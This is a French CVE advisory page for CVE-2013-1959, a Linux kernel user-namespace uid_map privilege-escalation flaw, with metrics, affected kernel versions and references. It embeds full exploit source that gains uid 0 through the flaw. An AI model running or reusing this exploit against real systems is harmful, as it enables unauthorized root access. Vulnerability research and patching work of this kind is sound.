CVE-2013-1959 : Détail

CVE-2013-1959

A01-Broken Access Control
0.06%V3
Local
2013-05-03
08h00 +00:00
2013-12-01
16h26 +00:00
CVE.org
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Descriptions du CVE

kernel/user_namespace.c in the Linux kernel before 3.8.9 does not have appropriate capability requirements for the uid_map and gid_map files, which allows local users to gain privileges by opening a file within an unprivileged process and then modifying the file within a privileged process.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 3.7 AV:L/AC:H/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 25450

Date de publication : 2013-05-13 22h00 +00:00
Auteur : Andrew Lutomirski
EDB Vérifié : No

/* userns_root_sploit.c by */ /* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */ /* You may use, modify, and redistribute this code under the GPLv2. */ #define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <linux/futex.h> #include <errno.h> #include <unistd.h> #include <sys/syscall.h> #ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif pid_t parent; int *ftx; int childfn() { int fd; char buf[128]; if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 && errno != EWOULDBLOCK) err(1, "futex"); sprintf(buf, "/proc/%ld/uid_map", (long)parent); fd = open(buf, O_RDWR | O_CLOEXEC); if (fd == -1) err(1, "open %s", buf); if (dup2(fd, 1) != 1) err(1, "dup2"); // Write something like "0 0 1" to stdout with elevated capabilities. execl("./zerozeroone", "./zerozeroone"); return 0; } int main(int argc, char **argv) { int dummy, status; pid_t child; if (argc < 2) { printf("usage: userns_root_sploit COMMAND ARGS...\n\n" "This will run a command as (global) uid 0 but no capabilities.\n"); return 1; } ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (ftx == MAP_FAILED) err(1, "mmap"); parent = getpid(); if (signal(SIGCHLD, SIG_DFL) != 0) err(1, "signal"); child = fork(); if (child == -1) err(1, "fork"); if (child == 0) return childfn(); *ftx = 1; if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0) err(1, "futex"); if (unshare(CLONE_NEWUSER) != 0) err(1, "unshare(CLONE_NEWUSER)"); if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child failed"); if (setresuid(0, 0, 0) != 0) err(1, "setresuid"); execvp(argv[1], argv+1); err(1, argv[1]); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 3.8.8

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0

Linux>>Linux_kernel >> Version 3.0.1

Linux>>Linux_kernel >> Version 3.0.2

Linux>>Linux_kernel >> Version 3.0.3

Linux>>Linux_kernel >> Version 3.0.4

Linux>>Linux_kernel >> Version 3.0.5

Linux>>Linux_kernel >> Version 3.0.6

Linux>>Linux_kernel >> Version 3.0.7

Linux>>Linux_kernel >> Version 3.0.8

Linux>>Linux_kernel >> Version 3.0.9

Linux>>Linux_kernel >> Version 3.0.10

Linux>>Linux_kernel >> Version 3.0.11

Linux>>Linux_kernel >> Version 3.0.12

Linux>>Linux_kernel >> Version 3.0.13

Linux>>Linux_kernel >> Version 3.0.14

Linux>>Linux_kernel >> Version 3.0.15

Linux>>Linux_kernel >> Version 3.0.16

Linux>>Linux_kernel >> Version 3.0.17

Linux>>Linux_kernel >> Version 3.0.18

Linux>>Linux_kernel >> Version 3.0.19

Linux>>Linux_kernel >> Version 3.0.20

Linux>>Linux_kernel >> Version 3.0.21

Linux>>Linux_kernel >> Version 3.0.22

Linux>>Linux_kernel >> Version 3.0.23

Linux>>Linux_kernel >> Version 3.0.24

Linux>>Linux_kernel >> Version 3.0.25

Linux>>Linux_kernel >> Version 3.0.26

Linux>>Linux_kernel >> Version 3.0.27

Linux>>Linux_kernel >> Version 3.0.28

Linux>>Linux_kernel >> Version 3.0.29

Linux>>Linux_kernel >> Version 3.0.30

Linux>>Linux_kernel >> Version 3.0.31

Linux>>Linux_kernel >> Version 3.0.32

Linux>>Linux_kernel >> Version 3.0.33

Linux>>Linux_kernel >> Version 3.0.34

Linux>>Linux_kernel >> Version 3.0.35

Linux>>Linux_kernel >> Version 3.0.36

Linux>>Linux_kernel >> Version 3.0.37

Linux>>Linux_kernel >> Version 3.0.38

Linux>>Linux_kernel >> Version 3.0.39

Linux>>Linux_kernel >> Version 3.0.40

Linux>>Linux_kernel >> Version 3.0.41

Linux>>Linux_kernel >> Version 3.0.42

Linux>>Linux_kernel >> Version 3.0.43

Linux>>Linux_kernel >> Version 3.0.44

Linux>>Linux_kernel >> Version 3.0.45

Linux>>Linux_kernel >> Version 3.0.46

Linux>>Linux_kernel >> Version 3.0.47

Linux>>Linux_kernel >> Version 3.0.48

Linux>>Linux_kernel >> Version 3.0.49

Linux>>Linux_kernel >> Version 3.0.50

Linux>>Linux_kernel >> Version 3.0.51

Linux>>Linux_kernel >> Version 3.0.52

Linux>>Linux_kernel >> Version 3.0.53

Linux>>Linux_kernel >> Version 3.0.54

Linux>>Linux_kernel >> Version 3.0.55

Linux>>Linux_kernel >> Version 3.0.56

Linux>>Linux_kernel >> Version 3.0.57

Linux>>Linux_kernel >> Version 3.0.58

Linux>>Linux_kernel >> Version 3.0.59

Linux>>Linux_kernel >> Version 3.0.60

Linux>>Linux_kernel >> Version 3.0.61

Linux>>Linux_kernel >> Version 3.0.62

Linux>>Linux_kernel >> Version 3.0.63

Linux>>Linux_kernel >> Version 3.0.64

Linux>>Linux_kernel >> Version 3.0.65

Linux>>Linux_kernel >> Version 3.0.66

Linux>>Linux_kernel >> Version 3.0.67

Linux>>Linux_kernel >> Version 3.0.68

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1

Linux>>Linux_kernel >> Version 3.1.1

Linux>>Linux_kernel >> Version 3.1.2

Linux>>Linux_kernel >> Version 3.1.3

Linux>>Linux_kernel >> Version 3.1.4

Linux>>Linux_kernel >> Version 3.1.5

Linux>>Linux_kernel >> Version 3.1.6

Linux>>Linux_kernel >> Version 3.1.7

Linux>>Linux_kernel >> Version 3.1.8

Linux>>Linux_kernel >> Version 3.1.9

Linux>>Linux_kernel >> Version 3.1.10

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2

Linux>>Linux_kernel >> Version 3.2.1

Linux>>Linux_kernel >> Version 3.2.2

Linux>>Linux_kernel >> Version 3.2.3

Linux>>Linux_kernel >> Version 3.2.4

Linux>>Linux_kernel >> Version 3.2.5

Linux>>Linux_kernel >> Version 3.2.6

Linux>>Linux_kernel >> Version 3.2.7

Linux>>Linux_kernel >> Version 3.2.8

Linux>>Linux_kernel >> Version 3.2.9

Linux>>Linux_kernel >> Version 3.2.10

Linux>>Linux_kernel >> Version 3.2.11

Linux>>Linux_kernel >> Version 3.2.12

Linux>>Linux_kernel >> Version 3.2.13

Linux>>Linux_kernel >> Version 3.2.14

Linux>>Linux_kernel >> Version 3.2.15

Linux>>Linux_kernel >> Version 3.2.16

Linux>>Linux_kernel >> Version 3.2.17

Linux>>Linux_kernel >> Version 3.2.18

Linux>>Linux_kernel >> Version 3.2.19

Linux>>Linux_kernel >> Version 3.2.20

Linux>>Linux_kernel >> Version 3.2.21

Linux>>Linux_kernel >> Version 3.2.22

Linux>>Linux_kernel >> Version 3.2.23

Linux>>Linux_kernel >> Version 3.2.24

Linux>>Linux_kernel >> Version 3.2.25

Linux>>Linux_kernel >> Version 3.2.26

Linux>>Linux_kernel >> Version 3.2.27

Linux>>Linux_kernel >> Version 3.2.28

Linux>>Linux_kernel >> Version 3.2.29

Linux>>Linux_kernel >> Version 3.2.30

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3

Linux>>Linux_kernel >> Version 3.3.1

Linux>>Linux_kernel >> Version 3.3.2

Linux>>Linux_kernel >> Version 3.3.3

Linux>>Linux_kernel >> Version 3.3.4

Linux>>Linux_kernel >> Version 3.3.5

Linux>>Linux_kernel >> Version 3.3.6

Linux>>Linux_kernel >> Version 3.3.7

Linux>>Linux_kernel >> Version 3.3.8

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4

Linux>>Linux_kernel >> Version 3.4.1

Linux>>Linux_kernel >> Version 3.4.2

Linux>>Linux_kernel >> Version 3.4.3

Linux>>Linux_kernel >> Version 3.4.4

Linux>>Linux_kernel >> Version 3.4.5

Linux>>Linux_kernel >> Version 3.4.6

Linux>>Linux_kernel >> Version 3.4.7

Linux>>Linux_kernel >> Version 3.4.8

Linux>>Linux_kernel >> Version 3.4.9

Linux>>Linux_kernel >> Version 3.4.10

Linux>>Linux_kernel >> Version 3.4.11

Linux>>Linux_kernel >> Version 3.4.12

Linux>>Linux_kernel >> Version 3.4.13

Linux>>Linux_kernel >> Version 3.4.14

Linux>>Linux_kernel >> Version 3.4.15

Linux>>Linux_kernel >> Version 3.4.16

Linux>>Linux_kernel >> Version 3.4.17

Linux>>Linux_kernel >> Version 3.4.18

Linux>>Linux_kernel >> Version 3.4.19

Linux>>Linux_kernel >> Version 3.4.20

Linux>>Linux_kernel >> Version 3.4.21

Linux>>Linux_kernel >> Version 3.4.22

Linux>>Linux_kernel >> Version 3.4.23

Linux>>Linux_kernel >> Version 3.4.24

Linux>>Linux_kernel >> Version 3.4.25

Linux>>Linux_kernel >> Version 3.4.26

Linux>>Linux_kernel >> Version 3.4.27

Linux>>Linux_kernel >> Version 3.4.28

Linux>>Linux_kernel >> Version 3.4.29

Linux>>Linux_kernel >> Version 3.4.30

Linux>>Linux_kernel >> Version 3.4.31

Linux>>Linux_kernel >> Version 3.4.32

Linux>>Linux_kernel >> Version 3.5.1

Linux>>Linux_kernel >> Version 3.5.2

Linux>>Linux_kernel >> Version 3.5.3

Linux>>Linux_kernel >> Version 3.5.4

Linux>>Linux_kernel >> Version 3.5.5

Linux>>Linux_kernel >> Version 3.5.6

Linux>>Linux_kernel >> Version 3.5.7

Linux>>Linux_kernel >> Version 3.6

Linux>>Linux_kernel >> Version 3.6.1

Linux>>Linux_kernel >> Version 3.6.2

Linux>>Linux_kernel >> Version 3.6.3

Linux>>Linux_kernel >> Version 3.6.4

Linux>>Linux_kernel >> Version 3.6.5

Linux>>Linux_kernel >> Version 3.6.6

Linux>>Linux_kernel >> Version 3.6.7

Linux>>Linux_kernel >> Version 3.6.8

Linux>>Linux_kernel >> Version 3.6.9

Linux>>Linux_kernel >> Version 3.6.10

Linux>>Linux_kernel >> Version 3.6.11

Linux>>Linux_kernel >> Version 3.7

Linux>>Linux_kernel >> Version 3.7.1

Linux>>Linux_kernel >> Version 3.7.2

Linux>>Linux_kernel >> Version 3.7.3

Linux>>Linux_kernel >> Version 3.7.4

Linux>>Linux_kernel >> Version 3.7.5

Linux>>Linux_kernel >> Version 3.7.6

Linux>>Linux_kernel >> Version 3.7.7

Linux>>Linux_kernel >> Version 3.7.8

Linux>>Linux_kernel >> Version 3.7.9

Linux>>Linux_kernel >> Version 3.7.10

Linux>>Linux_kernel >> Version 3.8.0

Linux>>Linux_kernel >> Version 3.8.1

Linux>>Linux_kernel >> Version 3.8.2

Linux>>Linux_kernel >> Version 3.8.3

Linux>>Linux_kernel >> Version 3.8.4

Linux>>Linux_kernel >> Version 3.8.5

Linux>>Linux_kernel >> Version 3.8.6

Linux>>Linux_kernel >> Version 3.8.7

Références

http://www.openwall.com/lists/oss-security/2013/04/29/1
Tags : mailing-list, x_refsource_MLIST
http://www.exploit-db.com/exploits/25307
Tags : exploit, x_refsource_EXPLOIT-DB